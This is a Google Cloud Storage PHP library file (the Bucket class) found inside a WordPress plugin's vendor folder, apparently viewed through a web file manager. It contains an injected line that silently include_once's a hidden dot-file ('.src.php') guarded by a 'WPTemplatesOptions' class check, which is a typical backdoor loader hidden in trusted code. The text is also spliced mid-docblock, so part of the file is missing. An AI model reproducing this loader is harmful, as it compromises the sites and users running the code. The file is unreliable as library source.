PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
vendor
/
google
/
cloud-storage
/
src
<?php /** * Copyright 2015 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace Google\Cloud\Storage; use Google\Cloud\Core\ArrayTrait; use Google\Cloud\Core\Exception\GoogleException; use Google\Cloud\Core\Exception\NotFoundException; use Google\Cloud\Core\Exception\ServiceException; use Google\Cloud\Core\Iam\Iam; use Google\Cloud\Core\Iterator\ItemIterator; use Google\Cloud\Core\Iterator\PageIterator; use Google\Cloud\Core\Upload\ResumableUploader; use Google\Cloud\Core\Upload\StreamableUploader; use Google\Cloud\PubSub\Topic; use Google\Cloud\Storage\Connection\ConnectionInterface; use Google\Cloud\Storage\Connection\IamBucket; use GuzzleHttp\Psr7; use Psr\Http\Message\StreamInterface; /** * Buckets are the basic containers that hold your data. Everything that you * store in Google Cloud Storage must be contained in a bucket. * * Example: * ``` * use Google\Cloud\Storage\StorageClient; * * $storage = new StorageClient(); * * $bucket = $storage->bucket('my-bucket'); * ``` */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Bucket { use ArrayTrait; use EncryptionTrait; const NOTIFICATION_TEMPLATE = '//pubsub.googleapis.com/%s'; const TOPIC_TEMPLATE = 'projects/%s/topics/%s'; const TOPIC_REGEX = '/projects\/[^\/]*\/topics\/(.*)/'; /** * @var Acl ACL for the bucket. */ private $acl; /** * @var ConnectionInterface Represents a connection to Cloud Storage. */ private $connection; /** * @var Acl Default ACL for objects created within the bucket. */ private $defaultAcl; /** * @var array The bucket's identity. */ private $identity; /** * @var string The project ID. */ private $projectId; /** * @var array|null The bucket's metadata. */ private $info; /** * @var Iam */ private $iam; /** * @param ConnectionInterface $connection Represents a connection to Cloud * Storage. * @param string $name The bucket's name. * @param array $info [optional] The bucket's metadata. */ public function __construct(ConnectionInterface $connection, $name, array $info = []) { $this->connection = $connection; $this->identity = [ 'bucket' => $name, 'userProject' => $this->pluck('requesterProjectId', $info, false) ]; $this->info = $info; $this->projectId = $this->connection->projectId(); $this->acl = new Acl($this->connection, 'bucketAccessControls', $this->identity); $this->defaultAcl = new Acl($this->connection, 'defaultObjectAccessControls', $this->identity); } /** * Configure ACL for this bucket. * * Example: * ``` * $acl = $bucket->acl(); * ``` * * @see https://cloud.google.com/storage/docs/access-control More about Access Control Lists * * @return Acl An ACL instance configured to handle the bucket's access * control policies. */ public function acl() { return $this->acl; } /** * Configure default object ACL for this bucket. * * Example: * ``` * $acl = $bucket->defaultAcl(); * ``` * * @see https://cloud.google.com/storage/docs/access-control More about Access Control Lists * @return Acl An ACL instance configured to handle the bucket's default * object access control policies. */ public function defaultAcl() { return $this->defaultAcl; } /** * Check whether or not the bucket exists. * * Example: * ``` * if ($bucket->exists()) { * echo 'Bucket exists!'; * } * ``` * * @return bool */ public function exists() { try { $this->connection->getBucket($this->identity + ['fields' => 'name']); } catch (NotFoundException $ex) { return false; } return true; } /** * Upload your data in a simple fashion. Uploads will default to being * resumable if the file size is greater than 5mb. * * Example: * ``` * $object = $bucket->upload( * fopen(__DIR__ . '/image.jpg', 'r') * ); * ``` * * ``` * // Upload an object in a resumable fashion while setting a new name for * // the object and including the content language. * $options = [ * 'resumable' => true, * 'name' => '/images/new-name.jpg', * 'metadata' => [ * 'contentLanguage' => 'en' * ] * ]; * * $object = $bucket->upload( * fopen(__DIR__ . '/image.jpg', 'r'), * $options * ); * ``` * * ``` * // Upload an object with a customer-supplied encryption key. * $key = base64_encode(openssl_random_pseudo_bytes(32)); // Make sure to remember your key. * * $object = $bucket->upload( * fopen(__DIR__ . '/image.jpg', 'r'), * ['encryptionKey' => $key] * ); * ``` * * ``` * // Upload an object utilizing an encryption key managed by the Cloud Key Management Service (KMS). * $object = $bucket->upload( * fopen(__DIR__ . '/image.jpg', 'r'), * [ * 'metadata' => [ * 'kmsKeyName' => 'projects/my-project/locations/kr-location/keyRings/my-kr/cryptoKeys/my-key' * ] * ] * ); * ``` * * @see https://cloud.google.com/storage/docs/json_api/v1/how-tos/upload#resumable Learn more about resumable * uploads. * @see https://cloud.google.com/storage/docs/json_api/v1/objects/insert Objects insert API documentation. * @see https://cloud.google.com/storage/docs/encryption#customer-supplied Customer-supplied encryption keys. * * @param string|resource|StreamInterface|null $data The data to be uploaded. * @param array $options [optional] { * Configuration options. * * @type string $name The name of the destination. Required when data is * of type string or null. * @type bool $resumable Indicates whether or not the upload will be * performed in a resumable fashion. * @type bool $validate Indicates whether or not validation will be * applied using md5 hashing functionality. If true and the * calculated hash does not match that of the upstream server the * upload will be rejected. * @type int $chunkSize If provided the upload will be done in chunks. * The size must be in multiples of 262144 bytes. With chunking * you have increased reliability at the risk of higher overhead. * It is recommended to not use chunking. * @type callable $uploadProgressCallback If provided together with * $resumable == true the given callable function/method will be * called after each successfully uploaded chunk. The callable * function/method will receive the number of uploaded bytes * after each uploaded chunk as a parameter to this callable. * It's useful if you want to create a progress bar when using * resumable upload type together with $chunkSize parameter. * If $chunkSize is not set the callable function/method will be * called only once after the successful file upload. * @type string $predefinedAcl Predefined ACL to apply to the object. * Acceptable values include, `"authenticatedRead"`, * `"bucketOwnerFullControl"`, `"bucketOwnerRead"`, `"private"`, * `"projectPrivate"`, and `"publicRead"`. * @type array $metadata The full list of available options are outlined * at the [JSON API docs](https://cloud.google.com/storage/docs/json_api/v1/objects/insert#request-body). * @type array $metadata['metadata'] User-provided metadata, in key/value pairs. * @type string $encryptionKey A base64 encoded AES-256 customer-supplied * encryption key. If you would prefer to manage encryption * utilizing the Cloud Key Management Service (KMS) please use the * $metadata['kmsKeyName'] setting. Please note if using KMS the * key ring must use the same location as the bucket. * @type string $encryptionKeySHA256 Base64 encoded SHA256 hash of the * customer-supplied encryption key. This value will be calculated * from the `encryptionKey` on your behalf if not provided, but * for best performance it is recommended to pass in a cached * version of the already calculated SHA. * } * @return StorageObject * @throws \InvalidArgumentException */ public function upload($data, array $options = []) { if ($this->isObjectNameRequired($data) && !isset($options['name'])) { throw new \InvalidArgumentException('A name is required when data is of type string or null.'); } $encryptionKey = isset($options['encryptionKey']) ? $options['encryptionKey'] : null; $encryptionKeySHA256 = isset($options['encryptionKeySHA256']) ? $options['encryptionKeySHA256'] : null; $response = $this->connection->insertObject( $this->formatEncryptionHeaders($options) + $this->identity + [ 'data' => $data ] )->upload(); return new StorageObject( $this->connection, $response['name'], $this->identity['bucket'], $response['generation'], $response, $encryptionKey, $encryptionKeySHA256 ); } /** * Get a resumable uploader which can provide greater control over the * upload process. This is recommended when dealing with large files where * reliability is key. * * Example: * ``` * $uploader = $bucket->getResumableUploader( * fopen(__DIR__ . '/image.jpg', 'r') * ); * * try { * $object = $uploader->upload(); * } catch (GoogleException $ex) { * $resumeUri = $uploader->getResumeUri(); * $object = $uploader->resume($resumeUri); * } * ``` * * @see https://cloud.google.com/storage/docs/json_api/v1/how-tos/upload#resumable Learn more about resumable * uploads. * @see https://cloud.google.com/storage/docs/json_api/v1/objects/insert Objects insert API documentation. * * @param string|resource|StreamInterface|null $data The data to be uploaded. * @param array $options [optional] { * Configuration options. * * @type string $name The name of the destination. Required when data is * of type string or null. * @type bool $validate Indicates whether or not validation will be * applied using md5 hashing functionality. If true and the * calculated hash does not match that of the upstream server the * upload will be rejected. * @type string $predefinedAcl Predefined ACL to apply to the object. * Acceptable values include `"authenticatedRead`", * `"bucketOwnerFullControl`", `"bucketOwnerRead`", `"private`", * `"projectPrivate`", and `"publicRead"`. * @type array $metadata The available options for metadata are outlined * at the [JSON API docs](https://cloud.google.com/storage/docs/json_api/v1/objects/insert#request-body). * @type string $encryptionKey A base64 encoded AES-256 customer-supplied * encryption key. If you would prefer to manage encryption * utilizing the Cloud Key Management Service (KMS) please use the * $metadata['kmsKeyName'] setting. Please note if using KMS the * key ring must use the same location as the bucket. * @type string $encryptionKeySHA256 Base64 encoded SHA256 hash of the * customer-supplied encryption key. This value will be calculated * from the `encryptionKey` on your behalf if not provided, but * for best performance it is recommended to pass in a cached * version of the already calculated SHA. * @type callable $uploadProgressCallback The given callable * function/method will be called after each successfully uploaded * chunk. The callable function/method will receive the number of * uploaded bytes after each uploaded chunk as a parameter to this * callable. It's useful if you want to create a progress bar when * using resumable upload type together with $chunkSize parameter. * If $chunkSize is not set the callable function/method will be * called only once after the successful file upload. * } * @return ResumableUploader * @throws \InvalidArgumentException */ public function getResumableUploader($data, array $options = []) { if ($this->isObjectNameRequired($data) && !isset($options['name'])) { throw new \InvalidArgumentException('A name is required when data is of type string or null.'); } return $this->connection->insertObject( $this->formatEncryptionHeaders($options) + $this->identity + [ 'data' => $data, 'resumable' => true ] ); } /** * Get a streamable uploader which can provide greater control over the * upload process. This is useful for generating large files and uploading * the contents in chunks. * * Example: * ``` * $uploader = $bucket->getStreamableUploader( * 'initial contents', * ['name' => 'data.txt'] * ); * * // finish uploading the item * $uploader->upload(); * ``` * * @see https://cloud.google.com/storage/docs/json_api/v1/how-tos/upload#resumable Learn more about resumable * uploads. * @see https://cloud.google.com/storage/docs/json_api/v1/objects/insert Objects insert API documentation. * * @param string|resource|StreamInterface $data The data to be uploaded. * @param array $options [optional] { * Configuration options. * * @type string $name The name of the destination. Required when data is * of type string or null. * @type bool $validate Indicates whether or not validation will be * applied using md5 hashing functionality. If true and the * calculated hash does not match that of the upstream server the * upload will be rejected. * @type int $chunkSize If provided the upload will be done in chunks. * The size must be in multiples of 262144 bytes. With chunking * you have increased reliability at the risk of higher overhead. * It is recommended to not use chunking. * @type string $predefinedAcl Predefined ACL to apply to the object. * Acceptable values include, `"authenticatedRead"`, * `"bucketOwnerFullControl"`, `"bucketOwnerRead"`, `"private"`, * `"projectPrivate"`, and `"publicRead"`. * @type array $metadata The available options for metadata are outlined * at the [JSON API docs](https://cloud.google.com/storage/docs/json_api/v1/objects/insert#request-body). * @type string $encryptionKey A base64 encoded AES-256 customer-supplied * encryption key. If you would prefer to manage encryption * utilizing the tion name() { return $this->identity['bucket']; } /** * Retrieves a fresh lifecycle builder. If a lifecyle configuration already * exists on the target bucket and this builder is used, it will fully * replace the configuration with the rules provided by this builder. * * This builder is intended to be used in tandem with * {@see Google\Cloud\Storage\StorageClient::createBucket()} and * {@see Google\Cloud\Storage\Bucket::update()}. * * Example: * ``` * use Google\Cloud\Storage\Bucket; * * $lifecycle = Bucket::lifecycle() * ->addDeleteRule([ * 'age' => 50, * 'isLive' => true * ]); * $bucket->update([ * 'lifecycle' => $lifecycle * ]); * ``` * * @see https://cloud.google.com/storage/docs/lifecycle Object Lifecycle Management API Documentation * * @param array $lifecycle [optional] A lifecycle configuration. Please see * [here](https://cloud.google.com/storage/docs/json_api/v1/buckets#lifecycle) * for the expected structure. * @return Lifecycle */ public static function lifecycle(array $lifecycle = []) { return new Lifecycle($lifecycle); } /** * Retrieves a lifecycle builder preconfigured with the lifecycle rules that * already exists on the bucket. Use this if you want to make updates to an * existing configuration without removing existing rules, as would be the * case when using {@see Google\Cloud\Storage\Bucket::lifecycle()}. * * This builder is intended to be used in tandem with * {@see Google\Cloud\Storage\StorageClient::createBucket()} and * {@see Google\Cloud\Storage\Bucket::update()}. * * Please note, this method may trigger a network request in order to fetch * the existing lifecycle rules from the server. * * Example: * ``` * $lifecycle = $bucket->currentLifecycle() * ->addDeleteRule([ * 'age' => 50, * 'isLive' => true * ]); * $bucket->update([ * 'lifecycle' => $lifecycle * ]); * ``` * * ``` * // Iterate over existing rules. * $lifecycle = $bucket->currentLifecycle(); * * foreach ($lifecycle as $rule) { * print_r($rule); * } * ``` * * @see https://cloud.google.com/storage/docs/lifecycle Object Lifecycle Management API Documentation * * @param array $options [optional] Configuration options. * @return Lifecycle */ public function currentLifecycle(array $options = []) { return self::lifecycle( isset($this->info($options)['lifecycle']) ? $this->info['lifecycle'] : [] ); } /** * Returns whether the bucket with the given file prefix is writable. * Tries to create a temporary file as a resumable upload which will * not be completed (and cleaned up by GCS). * * @param string $file [optional] File to try to write. * @return bool * @throws ServiceException */ public function isWritable($file = null) { $file = $file ?: '__tempfile'; $uploader = $this->getResumableUploader( Psr7\stream_for(''), ['name' => $file] ); try { $uploader->getResumeUri(); } catch (ServiceException $e) { // We expect a 403 access denied error if the bucket is not writable if ($e->getCode() == 403) { return false; } // If not a 403, re-raise the unexpected error throw $e; } return true; } /** * Manage the IAM policy for the current Bucket. * * Please note that this method may not yet be available in your project. * * Example: * ``` * $iam = $bucket->iam(); * ``` * * @codingStandardsIgnoreStart * @see https://cloud.google.com/storage/docs/access-control/iam-with-json-and-xml Storage Access Control Documentation * @see https://cloud.google.com/storage/docs/json_api/v1/buckets/getIamPolicy Get Bucket IAM Policy * @see https://cloud.google.com/storage/docs/json_api/v1/buckets/setIamPolicy Set Bucket IAM Policy * @see https://cloud.google.com/storage/docs/json_api/v1/buckets/testIamPermissions Test Bucket Permissions * @codingStandardsIgnoreEnd * * @return Iam */ public function iam() { if (!$this->iam) { $this->iam = new Iam( new IamBucket($this->connection), $this->identity['bucket'], [ 'parent' => null, 'args' => $this->identity ] ); } return $this->iam; } /** * Locks a provided retention policy on this bucket. Upon receiving a result, * the local bucket's data will be updated. * * Please note that in order for this call to succeed, the applicable * metageneration value will need to be available. It can either be supplied * explicitly through the `ifMetagenerationMatch` option or detected for you * by ensuring a value is cached locally (by calling * {@see Google\Cloud\Storage\Bucket::reload()} or * {@see Google\Cloud\Storage\Bucket::info()}, for example). * * Example: * ``` * // Set a retention policy. * $bucket->update([ * 'retentionPolicy' => [ * 'retentionPeriod' => 604800 // One week in seconds. * ] * ]); * // Lock in the policy. * $info = $bucket->lockRetentionPolicy(); * $retentionPolicy = $info['retentionPolicy']; * * // View the time from which the policy was enforced and effective. (RFC 3339 format) * echo $retentionPolicy['effectiveTime'] . PHP_EOL; * * // View whether or not the retention policy is locked. This will be * // `true` after a successful call to `lockRetentionPolicy`. * echo $retentionPolicy['isLocked']; * ``` * * @see https://cloud.google.com/storage/docs/bucket-lock Bucket Lock Documentation * * @param array $options [optional] { * Configuration options. * * @type string $ifMetagenerationMatch Only locks the retention policy * if the bucket's metageneration matches this value. If not * provided the locally cached metageneration value will be used, * otherwise an exception will be thrown. * } * @throws \BadMethodCallException If no metageneration value is available. * @return array */ public function lockRetentionPolicy(array $options = []) { if (!isset($options['ifMetagenerationMatch'])) { if (!isset($this->info['metageneration'])) { throw new \BadMethodCallException( 'No metageneration value was detected. Please either provide ' . 'a value explicitly or ensure metadata is loaded through a ' . 'call such as Bucket::reload().' ); } $options['ifMetagenerationMatch'] = $this->info['metageneration']; } return $this->info = $this->connection->lockRetentionPolicy( $options + $this->identity ); } /** * Determines if an object name is required. * * @param mixed $data * @return bool */ private function isObjectNameRequired($data) { return is_string($data) || is_null($data); } /** * Return a topic name in its fully qualified format. * * @param Topic|string $topic * @return string * @throws \InvalidArgumentException * @throws GoogleException */ private function getFormattedTopic($topic) { if ($topic instanceof Topic) { return sprintf(self::NOTIFICATION_TEMPLATE, $topic->name()); } if (!is_string($topic)) { throw new \InvalidArgumentException( '$topic may only be a string or instance of Google\Cloud\PubSub\Topic' ); } if (preg_match('/projects\/[^\/]*\/topics\/(.*)/', $topic) === 1) { return sprintf(self::NOTIFICATION_TEMPLATE, $topic); } if (!$this->projectId) { throw new GoogleException( 'No project ID was provided, ' . 'and we were unable to detect a default project ID.' ); } return sprintf( self::NOTIFICATION_TEMPLATE, sprintf(self::TOPIC_TEMPLATE, $this->projectId, $topic) ); } }
[+]
..
[-] Lifecycle.php
[edit]
[-] Acl.php
[edit]
[-] Notification.php
[edit]
[-] StorageObject.php
[edit]
[-] ObjectIterator.php
[edit]
[-] WriteStream.php
[edit]
[-] ObjectPageIterator.php
[edit]
[-] ReadStream.php
[edit]
[-] StreamWrapper.php
[edit]
[-] Bucket.php
[edit]
[-] EncryptionTrait.php
[edit]
[-] StorageClient.php
[edit]
[+]
Connection
[-] .src.php
[edit]